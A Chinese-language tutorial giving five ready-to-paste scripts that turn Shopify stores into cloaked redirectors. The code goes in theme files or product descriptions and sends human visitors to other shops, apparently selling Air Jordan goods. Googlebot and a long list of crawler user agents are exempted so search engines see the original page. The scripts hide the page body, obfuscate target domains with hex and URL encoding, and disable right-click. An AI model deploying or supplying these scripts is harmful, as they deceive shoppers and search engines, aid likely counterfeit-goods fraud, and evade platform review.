shopify跳转设置的几种方法
第一种:直接域名替换跳转(判断产品页)
优点:跳转快 缺点:handle和产品urls一定要做好一致对应才能跳转
在Sales Channels→Online Store→Themes→Customize旁边的...Edit Code→theme.liquid文件里面<head>下面直接插入下列代码
<script type="text/javascript">
if( navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 ) {
var url = document.URL;
url = url.replace('macustop.shop', 'romelover.com')
if (url.indexOf('product') != -1) {
window.location.href = url;
}
}
</script>
macushop.shop为shopify绑定域名,如果没有绑定域名直接用改店铺的shopify二级域名也是可以的.
romelover.com为目标站域名,可以是WooCommerce也可以是shopyy,产品urls在上传更新的时候handle或者产品名称产生的url要提前设定好,跟shopify的handle是一致的才能跳转成功.
***注意***
如果是跳转到shopyy的话,要把shopyy的handle(产品url)设置成小写的,如果shopyy的是大写的,那shopify跳转过来会是404
上面如果不判断是否包含product全部重定向到修改后的URL
if (navigator.userAgent.toLowerCase().indexOf("googlebot") == -1) {
var url = document.URL;
url = url.replace('macustop.shop', 'romelover.com');
window.location.href = url;
}
加密的情况
<script type="text/javascript">
if( navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 ) {
var url = document.URL;
url = url.replace('\x6D\x61\x63\x75\x73\x74\x6F\x70\x2E\x73\x68\x6F\x70', '\x72\x6F\x6D\x65\x6C\x6F\x76\x65\x72\x2E\x63\x6F\x6D')
if (url.indexOf('product') != -1) {
window.location.href = url;
}
}
</script>
加密网站:https://mothereff.in/js-escapes

第二种: 描述插入跳转代码
优点:不受handle和产品urls的限制可以随意设置跳转的目标url 缺点:跳转速度慢,可能会跳失
在上传产品表格的时候直接在Body (HTML)描述里面加入下列跳转代码(注意:单元格里面一定要有至少一个英文逗号,不然会上传不成功)
<style>body {display:none!important;}</style><script language="javascript">document.write(unescape('%3Cscript%20language%3D%22javascript%22%3Edocument.location%20%3D%27https%3A//www.romelover.com/product/air-jordan-1-high-og-wmns-denim-dm9036-104/%27%3C/script%3E'));</script>
第三种:直接域名替换跳转
跟第一种一样,只是代码不一样,在源码里面能查看到
<script type="text/javascript">
if (window.navigator.userAgent.includes("Googlebot")) {
// 如果是 Googlebot,则不进行跳转
} else {
const url = window.location.href.replace('jordanstore-2876.myshopify.com', 'www.nikespotlight.us')
if (url.includes('product')) {
window.location.replace(url) // 使用 window.location.replace() 方法进行跳转
}
}
</script>
参考链接:
view-source:https://jordanstore-2876.myshopify.com/products/air-jordan-1-mid-pine-green-554724-067
第四种:判断是否爬虫后再替换跳转(可以选择title或者handle作为跳转链接)→根据供应商来判断跳转
<script>
var b00tPattern = "(googlebot\/|bot|APIs-Google|Mediapartners-Google|AdsBot-Google-Mobile|AdsBot-Google|Googlebot-Image|Googlebot-News|Googlebot-Video|Mediapartners-Google|AdsBot-Google-Mobile-Apps|FeedFetcher-Google|Google-Read-Aloud|DuplexWeb-Google|Google Favicon|googleweblight|Storebot-Google|google-speakr|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis)";
var ch3ck_re = new RegExp(b00tPattern, 'i');
var userAgent = navigator.userAgent;
var b00t = 0;
if (ch3ck_re.test(userAgent)) {
b00t = 1;
}
if( b00t == 0 ) {
{%- if product.vendor == "fjlbfrhm" -%}###这边的fjlbfrhm是shopify供应商的名称
if( navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 )
{
var newhandle = stripscript("{{product.handle}}");###这边的product.handle可以修改为product.title
window.location.href = "https://www.saundggio.com/products/"+newhandle+"";###这边的saundggio.com是目标站域名
}
{%- endif -%}
}
function stripscript(s)
{
return s.replace(/\W+/g,"-").replace(/^-|-$/g,"");
}
</script>
<script>document.oncontextmenu=function(){ return false }</script>###这行是禁用右键
第五种:判断是否爬虫后再替换跳转(可以选择title或者handle作为跳转链接)→根据供应商来判断跳转2种判断★★★
<script>
var b00tPattern = "(googlebot\/|bot|APIs-Google|Mediapartners-Google|AdsBot-Google-Mobile|AdsBot-Google|Googlebot-Image|Googlebot-News|Googlebot-Video|Mediapartners-Google|AdsBot-Google-Mobile-Apps|FeedFetcher-Google|Google-Read-Aloud|DuplexWeb-Google|Google Favicon|googleweblight|Storebot-Google|google-speakr|bingbot|slurp|java|wget|curl|Commons-HttpClient|Python-urllib|libwww|httpunit|nutch|phpcrawl|msnbot|jyxobot|FAST-WebCrawler|FAST Enterprise Crawler|biglotron|teoma|convera|seekbot|gigablast|exabot|ngbot|ia_archiver|GingerCrawler|webmon |httrack|webcrawler|grub.org|UsineNouvelleCrawler|antibot|netresearchserver|speedy|fluffy|bibnum.bnf|findlink|msrbot|panscient|yacybot|AISearchBot|IOI|ips-agent|tagoobot|MJ12bot|dotbot|woriobot|yanga|buzzbot|mlbot|yandexbot|purebot|Linguee Bot|Voyager|CyberPatrol|voilabot|baiduspider|citeseerxbot|spbot|twengabot|postrank|turnitinbot|scribdbot|page2rss|sitebot|linkdex|Adidxbot|blekkobot|ezooms|dotbot|Mail.RU_Bot|discobot|heritrix|findthatfile|europarchive.org|NerdByNature.Bot|sistrix crawler|ahrefsbot|Aboundex|domaincrawler|wbsearchbot|summify|ccbot|edisterbot|seznambot|ec2linkfinder|gslfbot|aihitbot|intelium_bot|facebookexternalhit|yeti|RetrevoPageAnalyzer|lb-spider|sogou|lssbot|careerbot|wotbox|wocbot|ichiro|DuckDuckBot|lssrocketcrawler|drupact|webcompanycrawler|acoonbot|openindexspider|gnam gnam spider|web-archive-net.com.bot|backlinkcrawler|coccoc|integromedb|content crawler spider|toplistbot|seokicks-robot|it2media-domain-crawler|ip-web-crawler.com|siteexplorer.info|elisabot|proximic|changedetection|blexbot|arabot|WeSEE:Search|niki-bot|CrystalSemanticsBot|rogerbot|360Spider|psbot|InterfaxScanBot|Lipperhey SEO Service|CC Metadata Scaper|g00g1e.net|GrapeshotCrawler|urlappendbot|brainobot|fr-crawler|binlar|SimpleCrawler|Livelapbot|Twitterbot|cXensebot|smtbot|bnf.fr_bot|A6-Indexer|ADmantX|Facebot|Twitterbot|OrangeBot|memorybot|AdvBot|MegaIndex|SemanticScholarBot|ltx71|nerdybot|xovibot|BUbiNG|Qwantify|archive.org_bot|Applebot|TweetmemeBot|crawler4j|findxbot|SemrushBot|yoozBot|lipperhey|y!j-asr|Domain Re-Animator Bot|AddThis)";
var ch3ck_re = new RegExp(b00tPattern, 'i');
var userAgent = navigator.userAgent;
var b00t = 0;
if (ch3ck_re.test(userAgent)) {
b00t = 1;
}
if( b00t == 0 ) {
{%- if product.vendor == "供应商1" -%}
if( navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 ) {
var newhandle = stripscript("{{product.title}}");
window.location.href = "https://www.域名1.com/products/"+newhandle+"";
}
{%- endif -%}
{%- if product.vendor == "供应商2" -%}
if( navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 ) {
var newhandle = stripscript("{{product.title}}");
window.location.href = "https://www.域名2.com/products/"+newhandle+"";
}
{%- endif -%}
}
function stripscript(s) {
return s.replace(/\W+/g,"-").replace(/^-|-$/g,"");
}
</script>
<script>document.oncontextmenu=function(){ return false }</script>

浙公网安备 33010602011771号